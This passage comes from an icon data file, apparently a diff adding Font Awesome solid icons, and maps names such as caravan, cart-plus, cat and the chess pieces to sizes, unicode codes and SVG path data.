56.02A64.025 64.025 0 0 0 369.24 32H155.33c-26.17 0-49.7 15.93-59.42 40.23L48 194.26C20.44 201.4 0 226.21 0 256v112c0 8.84 7.16 16 16 16h48c0 53.02 42.98 96 96 96s96-42.98 96-96h128c0 53.02 42.98 96 96 96s96-42.98 96-96h48c8.84 0 16-7.16 16-16v-80c0-53.02-42.98-96-96-96zM160 432c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48zm72-240H116.93l38.4-96H232v96zm48 0V96h89.24l76.8 96H280zm200 240c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48z"], + "caravan": [640, 512, [], "f8ff", "M416,208a16,16,0,1,0,16,16A16,16,0,0,0,416,208ZM624,320H576V160A160,160,0,0,0,416,0H64A64,64,0,0,0,0,64V320a64,64,0,0,0,64,64H96a96,96,0,0,0,192,0H624a16,16,0,0,0,16-16V336A16,16,0,0,0,624,320ZM192,432a48,48,0,1,1,48-48A48.05,48.05,0,0,1,192,432Zm64-240a32,32,0,0,1-32,32H96a32,32,0,0,1-32-32V128A32,32,0,0,1,96,96H224a32,32,0,0,1,32,32ZM448,320H320V128a32,32,0,0,1,32-32h64a32,32,0,0,1,32,32Z"], + "caret-down": [320, 512, [], "f0d7", "M31.3 192h257.3c17.8 0 26.7 21.5 14.1 34.1L174.1 354.8c-7.8 7.8-20.5 7.8-28.3 0L17.2 226.1C4.6 213.5 13.5 192 31.3 192z"], + "caret-left": [192, 512, [], "f0d9", "M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z"], + "caret-right": [192, 512, [], "f0da", "M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662z"], + "caret-square-down": [448, 512, [], "f150", "M448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM92.5 220.5l123 123c4.7 4.7 12.3 4.7 17 0l123-123c7.6-7.6 2.2-20.5-8.5-20.5H101c-10.7 0-16.1 12.9-8.5 20.5z"], + "caret-square-left": [448, 512, [], "f191", "M400 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zM259.515 124.485l-123.03 123.03c-4.686 4.686-4.686 12.284 0 16.971l123.029 123.029c7.56 7.56 20.485 2.206 20.485-8.485V132.971c.001-10.691-12.925-16.045-20.484-8.486z"], + "caret-square-right": [448, 512, [], "f152", "M48 32h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48zm140.485 355.515l123.029-123.029c4.686-4.686 4.686-12.284 0-16.971l-123.029-123.03c-7.56-7.56-20.485-2.206-20.485 8.485v246.059c0 10.691 12.926 16.045 20.485 8.486z"], + "caret-square-up": [448, 512, [], "f151", "M0 432V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48zm355.515-140.485l-123.03-123.03c-4.686-4.686-12.284-4.686-16.971 0L92.485 291.515c-7.56 7.56-2.206 20.485 8.485 20.485h246.059c10.691 0 16.045-12.926 8.486-20.485z"], + "caret-up": [320, 512, [], "f0d8", "M288.662 352H31.338c-17.818 0-26.741-21.543-14.142-34.142l128.662-128.662c7.81-7.81 20.474-7.81 28.284 0l128.662 128.662c12.6 12.599 3.676 34.142-14.142 34.142z"], + "carrot": [512, 512, [], "f787", "M298.2 156.6c-52.7-25.7-114.5-10.5-150.2 32.8l55.2 55.2c6.3 6.3 6.3 16.4 0 22.6-3.1 3.1-7.2 4.7-11.3 4.7s-8.2-1.6-11.3-4.7L130.4 217 2.3 479.7c-2.9 6-3.1 13.3 0 19.7 5.4 11.1 18.9 15.7 30 10.3l133.6-65.2-49.2-49.2c-6.3-6.2-6.3-16.4 0-22.6 6.3-6.2 16.4-6.2 22.6 0l57 57 102-49.8c24-11.7 44.5-31.3 57.1-57.1 30.1-61.7 4.5-136.1-57.2-166.2zm92.1-34.9C409.8 81 399.7 32.9 360 0c-50.3 41.7-52.5 107.5-7.9 151.9l8 8c44.4 44.6 110.3 42.4 151.9-7.9-32.9-39.7-81-49.8-121.7-30.3z"], + "cart-arrow-down": [576, 512, [], "f218", "M504.717 320H211.572l6.545 32h268.418c15.401 0 26.816 14.301 23.403 29.319l-5.517 24.276C523.112 414.668 536 433.828 536 456c0 31.202-25.519 56.444-56.824 55.994-29.823-.429-54.35-24.631-55.155-54.447-.44-16.287 6.085-31.049 16.803-41.548H231.176C241.553 426.165 248 440.326 248 456c0 31.813-26.528 57.431-58.67 55.938-28.54-1.325-51.751-24.385-53.251-52.917-1.158-22.034 10.436-41.455 28.051-51.586L93.883 64H24C10.745 64 0 53.255 0 40V24C0 10.745 10.745 0 24 0h102.529c11.401 0 21.228 8.021 23.513 19.19L159.208 64H551.99c15.401 0 26.816 14.301 23.403 29.319l-47.273 208C525.637 312.246 515.923 320 504.717 320zM403.029 192H360v-60c0-6.627-5.373-12-12-12h-24c-6.627 0-12 5.373-12 12v60h-43.029c-10.691 0-16.045 12.926-8.485 20.485l67.029 67.029c4.686 4.686 12.284 4.686 16.971 0l67.029-67.029c7.559-7.559 2.205-20.485-8.486-20.485z"], + "cart-plus": [576, 512, [], "f217", "M504.717 320H211.572l6.545 32h268.418c15.401 0 26.816 14.301 23.403 29.319l-5.517 24.276C523.112 414.668 536 433.828 536 456c0 31.202-25.519 56.444-56.824 55.994-29.823-.429-54.35-24.631-55.155-54.447-.44-16.287 6.085-31.049 16.803-41.548H231.176C241.553 426.165 248 440.326 248 456c0 31.813-26.528 57.431-58.67 55.938-28.54-1.325-51.751-24.385-53.251-52.917-1.158-22.034 10.436-41.455 28.051-51.586L93.883 64H24C10.745 64 0 53.255 0 40V24C0 10.745 10.745 0 24 0h102.529c11.401 0 21.228 8.021 23.513 19.19L159.208 64H551.99c15.401 0 26.816 14.301 23.403 29.319l-47.273 208C525.637 312.246 515.923 320 504.717 320zM408 168h-48v-40c0-8.837-7.163-16-16-16h-16c-8.837 0-16 7.163-16 16v40h-48c-8.837 0-16 7.163-16 16v16c0 8.837 7.163 16 16 16h48v40c0 8.837 7.163 16 16 16h16c8.837 0 16-7.163 16-16v-40h48c8.837 0 16-7.163 16-16v-16c0-8.837-7.163-16-16-16z"], + "cash-register": [512, 512, [], "f788", "M511.1 378.8l-26.7-160c-2.6-15.4-15.9-26.7-31.6-26.7H208v-64h96c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H48c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h96v64H59.1c-15.6 0-29 11.3-31.6 26.7L.8 378.7c-.6 3.5-.9 7-.9 10.5V480c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32v-90.7c.1-3.5-.2-7-.8-10.5zM280 248c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16zm-32 64h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16zm-32-80c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16zM80 80V48h192v32H80zm40 200h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16zm16 64v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16zm216 112c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h176c4.4 0 8 3.6 8 8v16zm24-112c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16zm48-80c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16z"], + "cat": [512, 512, [], "f6be", "M290.59 192c-20.18 0-106.82 1.98-162.59 85.95V192c0-52.94-43.06-96-96-96-17.67 0-32 14.33-32 32s14.33 32 32 32c17.64 0 32 14.36 32 32v256c0 35.3 28.7 64 64 64h176c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-32l128-96v144c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V289.86c-10.29 2.67-20.89 4.54-32 4.54-61.81 0-113.52-44.05-125.41-102.4zM448 96h-64l-64-64v134.4c0 53.02 42.98 96 96 96s96-42.98 96-96V32l-64 64zm-72 80c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm80 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z"], + "certificate": [512, 512, [], "f0a3", "M458.622 255.92l45.985-45.005c13.708-12.977 7.316-36.039-10.664-40.339l-62.65-15.99 17.661-62.015c4.991-17.838-11.829-34.663-29.661-29.671l-61.994 17.667-15.984-62.671C337.085.197 313.765-6.276 300.99 7.228L256 53.57 211.011 7.229c-12.63-13.351-36.047-7.234-40.325 10.668l-15.984 62.671-61.995-17.667C74.87 57.907 58.056 74.738 63.046 92.572l17.661 62.015-62.65 15.99C.069 174.878-6.31 197.944 7.392 210.915l45.985 45.005-45.985 45.004c-13.708 12.977-7.316 36.039 10.664 40.339l62.65 15.99-17.661 62.015c-4.991 17.838 11.829 34.663 29.661 29.671l61.994-17.667 15.984 62.671c4.439 18.575 27.696 24.018 40.325 10.668L256 458.61l44.989 46.001c12.5 13.488 35.987 7.486 40.325-10.668l15.984-62.671 61.994 17.667c17.836 4.994 34.651-11.837 29.661-29.671l-17.661-62.015 62.65-15.99c17.987-4.302 24.366-27.367 10.664-40.339l-45.984-45.004z"], + "chair": [448, 512, [], "f6c0", "M112 128c0-29.5 16.2-55 40-68.9V256h48V48h48v208h48V59.1c23.8 13.9 40 39.4 40 68.9v128h48V128C384 57.3 326.7 0 256 0h-64C121.3 0 64 57.3 64 128v128h48zm334.3 213.9l-10.7-32c-4.4-13.1-16.6-21.9-30.4-21.9H42.7c-13.8 0-26 8.8-30.4 21.9l-10.7 32C-5.2 362.6 10.2 384 32 384v112c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V384h256v112c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V384c21.8 0 37.2-21.4 30.3-42.1z"], + "chalkboard": [640, 512, [], "f51b", "M96 64h448v352h64V40c0-22.06-17.94-40-40-40H72C49.94 0 32 17.94 32 40v376h64V64zm528 384H480v-64H288v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"], + "chalkboard-teacher": [640, 512, [], "f51c", "M208 352c-2.39 0-4.78.35-7.06 1.09C187.98 357.3 174.35 360 160 360c-14.35 0-27.98-2.7-40.95-6.91-2.28-.74-4.66-1.09-7.05-1.09C49.94 352-.33 402.48 0 464.62.14 490.88 21.73 512 48 512h224c26.27 0 47.86-21.12 48-47.38.33-62.14-49.94-112.62-112-112.62zm-48-32c53.02 0 96-42.98 96-96s-42.98-96-96-96-96 42.98-96 96 42.98 96 96 96zM592 0H208c-26.47 0-48 22.25-48 49.59V96c23.42 0 45.1 6.78 64 17.8V64h352v288h-64v-64H384v64h-76.24c19.1 16.69 33.12 38.73 39.69 64H592c26.47 0 48-22.25 48-49.59V49.59C640 22.25 618.47 0 592 0z"], + "charging-station": [576, 512, [], "f5e7", "M336 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h320c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm208-320V80c0-8.84-7.16-16-16-16s-16 7.16-16 16v48h-32V80c0-8.84-7.16-16-16-16s-16 7.16-16 16v48h-16c-8.84 0-16 7.16-16 16v32c0 35.76 23.62 65.69 56 75.93v118.49c0 13.95-9.5 26.92-23.26 29.19C431.22 402.5 416 388.99 416 372v-28c0-48.6-39.4-88-88-88h-8V64c0-35.35-28.65-64-64-64H96C60.65 0 32 28.65 32 64v352h288V304h8c22.09 0 40 17.91 40 40v24.61c0 39.67 28.92 75.16 68.41 79.01C481.71 452.05 520 416.41 520 372V251.93c32.38-10.24 56-40.17 56-75.93v-32c0-8.84-7.16-16-16-16h-16zm-283.91 47.76l-93.7 139c-2.2 3.33-6.21 5.24-10.39 5.24-7.67 0-13.47-6.28-11.67-12.92L167.35 224H108c-7.25 0-12.85-5.59-11.89-11.89l16-107C112.9 99.9 117.98 96 124 96h68c7.88 0 13.62 6.54 11.6 13.21L192 160h57.7c9.24 0 15.01 8.78 10.39 15.76z"], + "chart-area": [512, 512, [], "f1fe", "M500 384c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v308h436zM372.7 159.5L288 216l-85.3-113.7c-5.1-6.8-15.5-6.3-19.9 1L96 248v104h384l-89.9-187.8c-3.2-6.5-11.4-8.7-17.4-4.7z"], + "chart-bar": [512, 512, [], "f080", "M332.8 320h38.4c6.4 0 12.8-6.4 12.8-12.8V172.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h38.4c6.4 0 12.8-6.4 12.8-12.8V76.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-288 0h38.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h38.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zM496 384H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"], + "chart-line": [512, 512, [], "f201", "M496 384H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM464 96H345.94c-21.38 0-32.09 25.85-16.97 40.97l32.4 32.4L288 242.75l-73.37-73.37c-12.5-12.5-32.76-12.5-45.25 0l-68.69 68.69c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0L192 237.25l73.37 73.37c12.5 12.5 32.76 12.5 45.25 0l96-96 32.4 32.4c15.12 15.12 40.97 4.41 40.97-16.97V112c.01-8.84-7.15-16-15.99-16z"], + "chart-pie": [544, 512, [], "f200", "M527.79 288H290.5l158.03 158.03c6.04 6.04 15.98 6.53 22.19.68 38.7-36.46 65.32-85.61 73.13-140.86 1.34-9.46-6.51-17.85-16.06-17.85zm-15.83-64.8C503.72 103.74 408.26 8.28 288.8.04 279.68-.59 272 7.1 272 16.24V240h223.77c9.14 0 16.82-7.68 16.19-16.8zM224 288V50.71c0-9.55-8.39-17.4-17.84-16.06C86.99 51.49-4.1 155.6.14 280.37 4.5 408.51 114.83 513.59 243.03 511.98c50.4-.63 96.97-16.87 135.26-44.03 7.9-5.6 8.42-17.23 1.57-24.08L224 288z"], + "check": [512, 512, [], "f00c", "M173.898 439.404l-166.4-166.4c-9.997-9.997-9.997-26.206 0-36.204l36.203-36.204c9.997-9.998 26.207-9.998 36.204 0L192 312.69 432.095 72.596c9.997-9.997 26.207-9.997 36.204 0l36.203 36.204c9.997 9.997 9.997 26.206 0 36.204l-294.4 294.401c-9.998 9.997-26.207 9.997-36.204-.001z"], + "check-circle": [512, 512, [], "f058", "M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zM227.314 387.314l184-184c6.248-6.248 6.248-16.379 0-22.627l-22.627-22.627c-6.248-6.249-16.379-6.249-22.628 0L216 308.118l-70.059-70.059c-6.248-6.248-16.379-6.248-22.628 0l-22.627 22.627c-6.248 6.248-6.248 16.379 0 22.627l104 104c6.249 6.249 16.379 6.249 22.628.001z"], + "check-double": [512, 512, [], "f560", "M505 174.8l-39.6-39.6c-9.4-9.4-24.6-9.4-33.9 0L192 374.7 80.6 263.2c-9.4-9.4-24.6-9.4-33.9 0L7 302.9c-9.4 9.4-9.4 24.6 0 34L175 505c9.4 9.4 24.6 9.4 33.9 0l296-296.2c9.4-9.5 9.4-24.7.1-34zm-324.3 106c6.2 6.3 16.4 6.3 22.6 0l208-208.2c6.2-6.3 6.2-16.4 0-22.6L366.1 4.7c-6.2-6.3-16.4-6.3-22.6 0L192 156.2l-55.4-55.5c-6.2-6.3-16.4-6.3-22.6 0L68.7 146c-6.2 6.3-6.2 16.4 0 22.6l112 112.2z"], + "check-square": [448, 512, [], "f14a", "M400 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zm-204.686-98.059l184-184c6.248-6.248 6.248-16.379 0-22.627l-22.627-22.627c-6.248-6.248-16.379-6.249-22.628 0L184 302.745l-70.059-70.059c-6.248-6.248-16.379-6.248-22.628 0l-22.627 22.627c-6.248 6.248-6.248 16.379 0 22.627l104 104c6.249 6.25 16.379 6.25 22.628.001z"], + "cheese": [512, 512, [], "f7ef", "M0 288v160a32 32 0 0 0 32 32h448a32 32 0 0 0 32-32V288zM299.83 32a32 32 0 0 0-21.13 7L0 256h512c0-119.89-94-217.8-212.17-224z"], + "chess": [512, 512, [], "f439", "M74 208H64a16 16 0 0 0-16 16v16a16 16 0 0 0 16 16h15.94A535.78 535.78 0 0 1 64 384h128a535.78 535.78 0 0 1-15.94-128H192a16 16 0 0 0 16-16v-16a16 16 0 0 0-16-16h-10l33.89-90.38a16 16 0 0 0-15-21.62H144V64h24a8 8 0 0 0 8-8V40a8 8 0 0 0-8-8h-24V8a8 8 0 0 0-8-8h-16a8 8 0 0 0-8 8v24H88a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8h24v32H55.09a16 16 0 0 0-15 21.62zm173.16 251.58L224 448v-16a16 16 0 0 0-16-16H48a16 16 0 0 0-16 16v16L8.85 459.58A16 16 0 0 0 0 473.89V496a16 16 0 0 0 16 16h224a16 16 0 0 0 16-16v-22.11a16 16 0 0 0-8.84-14.31zm92.77-157.78l-3.29 82.2h126.72l-3.29-82.21 24.6-20.79A32 32 0 0 0 496 256.54V198a6 6 0 0 0-6-6h-26.38a6 6 0 0 0-6 6v26h-24.71v-26a6 6 0 0 0-6-6H373.1a6 6 0 0 0-6 6v26h-24.71v-26a6 6 0 0 0-6-6H310a6 6 0 0 0-6 6v58.6a32 32 0 0 0 11.36 24.4zM384 304a16 16 0 0 1 32 0v32h-32zm119.16 155.58L480 448v-16a16 16 0 0 0-16-16H336a16 16 0 0 0-16 16v16l-23.15 11.58a16 16 0 0 0-8.85 14.31V496a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-22.11a16 16 0 0 0-8.84-14.31z"], + "chess-bishop": [320, 512, [], "f43a", "M8 287.88c0 51.64 22.14 73.83 56 84.6V416h192v-43.52c33.86-10.77 56-33 56-84.6 0-30.61-10.73-67.1-26.69-102.56L185 285.65a8 8 0 0 1-11.31 0l-11.31-11.31a8 8 0 0 1 0-11.31L270.27 155.1c-20.8-37.91-46.47-72.1-70.87-92.59C213.4 59.09 224 47.05 224 32a32 32 0 0 0-32-32h-64a32 32 0 0 0-32 32c0 15 10.6 27.09 24.6 30.51C67.81 106.8 8 214.5 8 287.88zM304 448H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"], + "chess-board": [512, 512, [], "f43c", "M255.9.2h-64v64h64zM0 64.17v64h64v-64zM128 .2H64v64h64zm64 255.9v64h64v-64zM0 192.12v64h64v-64zM383.85.2h-64v64h64zm128 0h-64v64h64zM128 256.1H64v64h64zM511.8 448v-64h-64v64zm0-128v-64h-64v64zM383.85 512h64v-64h-64zm128-319.88v-64h-64v64zM128 512h64v-64h-64zM0 512h64v-64H0zm255.9 0h64v-64h-64zM0 320.07v64h64v-64zm319.88-191.92v-64h-64v64zm-64 128h64v-64h-64zm-64 128v64h64v-64zm128-64h64v-64h-64zm0-127.95h64v-64h-64zm0 191.93v64h64v-64zM64 384.05v64h64v-64zm128-255.9v-64h-64v64zm191.92 255.9h64v-64h-64zm-128-191.93v-64h-64v64zm128-127.95v64h64v-64zm-128 255.9v64h64v-64zm-64-127.95H128v64h64zm191.92 64h64v-64h-64zM128 128.15H64v64h64zm0 191.92v64h64v-64z"], + "chess-king": [448, 512, [], "f43f", "M400 448H48a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm16-288H256v-48h40a8 8 0 0 0 8-8V56a8 8 0 0 0-8-8h-40V8a8 8 0 0 0-8-8h-48a8 8 0 0 0-8 8v40h-40a8 8 0 0 0-8 8v48a8 8 0 0 0 8 8h40v48H32a32 32 0 0 0-30.52 41.54L74.56 416h298.88l73.08-214.46A32 32 0 0 0 416 160z"], + "chess-knight": [384, 512, [], "f441", "M19 272.47l40.63 18.06a32 32 0 0 0 24.88.47l12.78-5.12a32 32 0 0 0 18.76-20.5l9.22-30.65a24 24 0 0 1 12.55-15.65L159.94 208v50.33a48 48 0 0 1-26.53 42.94l-57.22 28.65A80 80 0 0 0 32 401.48V416h319.86V224c0-106-85.92-192-191.92-192H12A12 12 0 0 0 0 44a16.9 16.9 0 0 0 1.79 7.58L16 80l-9 9a24 24 0 0 0-7 17v137.21a32 32 0 0 0 19 29.26zM52 128a20 20 0 1 1-20 20 20 20 0 0 1 20-20zm316 320H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"], + "chess-pawn": [320, 512, [], "f443", "M105.1 224H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h16v5.49c0 44-4.14 86.6-24 122.51h176c-19.89-35.91-24-78.51-24-122.51V288h16a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-25.1c29.39-18.38 49.1-50.78 49.1-88a104 104 0 0 0-208 0c0 37.22 19.71 69.62 49.1 88zM304 448H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"], + "chess-queen": [512, 512, [], "f445", "M256 112a56 56 0 1 0-56-56 56 56 0 0 0 56 56zm176 336H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm72.87-263.84l-28.51-15.92c-7.44-5-16.91-2.46-22.29 4.68a47.59 47.59 0 0 1-47.23 18.23C383.7 186.86 368 164.93 368 141.4a13.4 13.4 0 0 0-13.4-13.4h-38.77c-6 0-11.61 4-12.86 9.91a48 48 0 0 1-93.94 0c-1.25-5.92-6.82-9.91-12.86-9.91H157.4a13.4 13.4 0 0 0-13.4 13.4c0 25.69-19 48.75-44.67 50.49a47.5 47.5 0 0 1-41.54-19.15c-5.28-7.09-14.73-9.45-22.09-4.54l-28.57 16a16 16 0 0 0-5.44 20.47L104.24 416h303.52l102.55-211.37a16 16 0 0 0-5.44-20.47z"], + "chess-rook": [384, 512, [], "f447", "M368 32h-56a16 16 0 0 0-16 16v48h-48V48a16 16 0 0 0-16-16h-80a16 16 0 0 0-16 16v48H88.1V48a16 16 0 0 0-16-16H16A16 16 0 0 0 0 48v176l64 32c0 48.33-1.54 95-13.21 160h282.42C321.54 351 320 303.72 320 256l64-32V48a16 16 0 0 0-16-16zM224 320h-64v-64a32 32 0 0 1 64 0zm144 128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"], + "chevron-circle-down": [512, 512, [], "f13a", "M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zM273 369.9l135.5-135.5c9.4-9.4 9.4-24.6 0-33.9l-17-17c-9.4-9.4-24.6-9.4-33.9 0L256 285.1 154.4 183.5c-9.4-9.4-24.6-9.4-33.9 0l-17 17c-9.4 9.4-9.4 24.6 0 33.9L239 369.9c9.4 9.4 24.6 9.4 34 0z"], + "chevron-circle-left": [512, 512, [], "f137", "M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zM142.1 273l135.5 135.5c9.4 9.4 24.6 9.4 33.9 0l17-17c9.4-9.4 9.4-24.6 0-33.9L226.9 256l101.6-101.6c9.4-9.4 9.4-24.6 0-33.9l-17-17c-9.4-9.4-24.6-9.4-33.9 0L142.1 239c-9.4 9.4-9.4 24.6 0 34z"], + "chevron-circle-right": [512, 512, [], "f138", "M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zm113.9 231L234.4 103.5c-9.4-9.4-24.6-9.4-33.9 0l-17 17c-9.4 9.4-9.4 24.6 0 33.9L285.1 256 183.5 357.6c-9.4 9.4-9.4 24.6 0 33.9l17 17c9.4 9.4 24.6 9.4 33.9 0L369.9 273c9.4-9.4 9.4-24.6 0-34z"], + "chevron-circle-up": [512, 512, [], "f139", "M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm231-113.9L103.5 277.6c-9.4 9.4-9.4 24.6 0 33.9l17 17c9.4 9.4 24.6 9.4 33.9 0L256 226.9l101.6 101.6c9.4 9.4 24.6 9.4 33.9 0l17-17c9.4-9.4 9.4-24.6 0-33.9L273 142.1c-9.4-9.4-24.6-9.4-34 0z"], + "chevron-down": [448, 512, [], "f078", "M207.029 381.476L12.686 187.132c-9.373-9.373-9.373-24.569 0-33.941l22.667-22.667c9.357-9.357 24.522-9.375 33.901-.04L224 284.505l154.745-154.021c9.379-9.335 24.544-9.317 33.901.04l22.667 22.667c9.373 9.373 9.373 24.569 0 33.941L240.971 381.476c-9.373 9.372-24.569 9.372-33.942 0z"], + "chevron-left": [320, 512, [], "f053", "M34.52 239.03L228.87 44.69c9.37-9.37 24.57-9.37 33.94 0l22.67 22.67c9.36 9.36 9.37 24.52.04 33.9L131.49 256l154.02 154.75c9.34 9.38 9.32 24.54-.04 33.9l-22.67 22.67c-9.37 9.37-24.57 9.37-33.94 0L34.52 272.97c-9.37-9.37-9.37-24.57 0-33.94z"], + "chevron-right": [320, 512, [], "f054", "M285.476 272.971L91.132 467.314c-9.373 9.373-24.569 9.373-33.941 0l-22.667-22.667c-9.357-9.357-9.375-24.522-.04-33.901L188.505 256 34.484 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L285.475 239.03c9.373 9.372 9.373 24.568.001 33.941z"], + "chevron-up": [448, 512, [], "f077", "M240.971 130.524l194.343 194.343c9.373 9.373 9.373 24.569 0 33.941l-22.667 22.667c-9.357 9.357-24.522 9.375-33.901.04L224 227.495 69.255 381.516c-9.379 9.335-24.544 9.317-33.901-.04l-22.667-22.667c-9.373-9.373-9.373-24.569 0-33.941L207.03 130.525c9.372-9.373 24.568-9.373 33.941-.001z"], + "child": [384, 512, [], "f1ae", "M120 72c0-39.765 32.235-72 72-72s72 32.235 72 72c0 39.764-32.235 72-72 72s-72-32.236-72-72zm254.627 1.373c-12.496-12.497-32.758-12.497-45.254 0L242.745 160H141.254L54.627 73.373c-12.496-12.497-32.758-12.497-45.254 0-12.497 12.497-12.497 32.758 0 45.255L104 213.254V480c0 17.673 14.327 32 32 32h16c17.673 0 32-14.327 32-32V368h16v112c0 17.673 14.327 32 32 32h16c17.673 0 32-14.327 32-32V213.254l94.627-94.627c12.497-12.497 12.497-32.757 0-45.254z"], + "church": [640, 512, [], "f51d", "M464.46 246.68L352 179.2V128h48c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16h-48V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v48h-48c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h48v51.2l-112.46 67.48A31.997 31.997 0 0 0 160 274.12V512h96v-96c0-35.35 28.65-64 64-64s64 28.65 64 64v96h96V274.12c0-11.24-5.9-21.66-15.54-27.44zM0 395.96V496c0 8.84 7.16 16 16 16h112V320L19.39 366.54A32.024 32.024 0 0 0 0 395.96zm620.61-29.42L512 320v192h112c8.84 0 16-7.16 16-16V395.96c0-12.8-7.63-24.37-19.39-29.42z"], + "circle": [512, 512, [], "f111", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8z"], + "circle-notch": [512, 512, [], "f1ce", "M288 39.056v16.659c0 10.804 7.281 20.159 17.686 23.066C383.204 100.434 440 171.518 440 256c0 101.689-82.295 184-184 184-101.689 0-184-82.295-184-184 0-84.47 56.786-155.564 134.312-177.219C216.719 75.874 224 66.517 224 